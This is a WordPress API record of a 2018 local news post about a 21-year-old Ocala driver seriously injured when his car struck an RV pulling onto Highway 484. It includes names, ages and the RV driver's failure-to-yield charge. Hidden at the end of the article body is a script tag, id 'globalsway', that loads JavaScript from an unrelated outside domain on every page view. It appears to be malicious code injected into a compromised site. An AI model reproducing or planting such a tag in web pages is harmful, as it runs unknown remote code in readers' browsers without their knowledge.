{"id":218886,"date":"2018-01-29T21:29:57","date_gmt":"2018-01-30T02:29:57","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=218886"},"modified":"2018-01-29T21:29:57","modified_gmt":"2018-01-30T02:29:57","slug":"ocala-man-serious-condition-colliding-rv","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/ocala-man-serious-condition-colliding-rv\/","title":{"rendered":"Ocala Man in Serious Condition After Colliding with RV"},"content":{"rendered":"<p>OCALA &#8212; Troopers have identified an Ocala man who is now in serious condition after <a href=\"https:\/\/wordpress-1.tempurl.host\/driver-hopsitalized-trapped-car-rv\/\">striking a recreational vehicle<\/a> early Monday morning in Ocala.<\/p>\n<p>According to a Florida Highway Patrol report, 21-year-old John Garrett was transported to the Ocala Regional Medical Center after sustaining serious injuries in a collision Monday morning at 2559 Highway 484 in Ocala.<\/p>\n<p>Troopers reported that Garrett was traveling westbound in the left lane of Highway 484 approaching a private driveway for a small plaza when a 2016 Itasca Sunstar RV was pulling out of the driveway.<\/p>\n<p>The driver of the RV, 63-year-old Michigan resident Timothy Petersen told troopers that he saw Garrett&#8217;s headlights but assumed he had enough time to cross over to the eastbound lane of Highway 484.<\/p>\n<p>Petersen pulled out into the path of Garrett&#8217;s 2001 Oldsmobile Aurora causing Garret to crash into the side of the RV.<\/p>\n<p>Garrett&#8217;s vehicle then became wedged under the RV trapping Garrett inside until a Marion County Fire Rescue team was able to extricate him.<\/p>\n<p>A passenger in Peterson&#8217;s RV, 58-year-old Jenny Petersen, suffered minor injuries which were treated at the scene by responding EMS personnel.<\/p>\n<p>Peterson did not suffer any injuries.<\/p>\n<p>Peterson was charged with failure to yield the right-of-way.<\/p>\n<p>&nbsp;<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Troopers have identified an Ocala man who is now in serious condition after crashing into a recreational vehicle early Monday morning on Highway 484 in Ocala.<\/p>\n","protected":false},"author":1,"featured_media":218887,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[1,7],"tags":[38,54,3275,85,1902,3273,1463,96,3274,3265,1362],"class_list":["post-218886","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-local","category-marion-county","tag-crash","tag-fhp","tag-garrett","tag-marion","tag-marionso","tag-mcfd","tag-mcfr","tag-ocala","tag-petersen","tag-rv","tag-troopers","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/rv-crash.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/218886","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=218886"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/218886\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/218887"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=218886"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=218886"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=218886"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}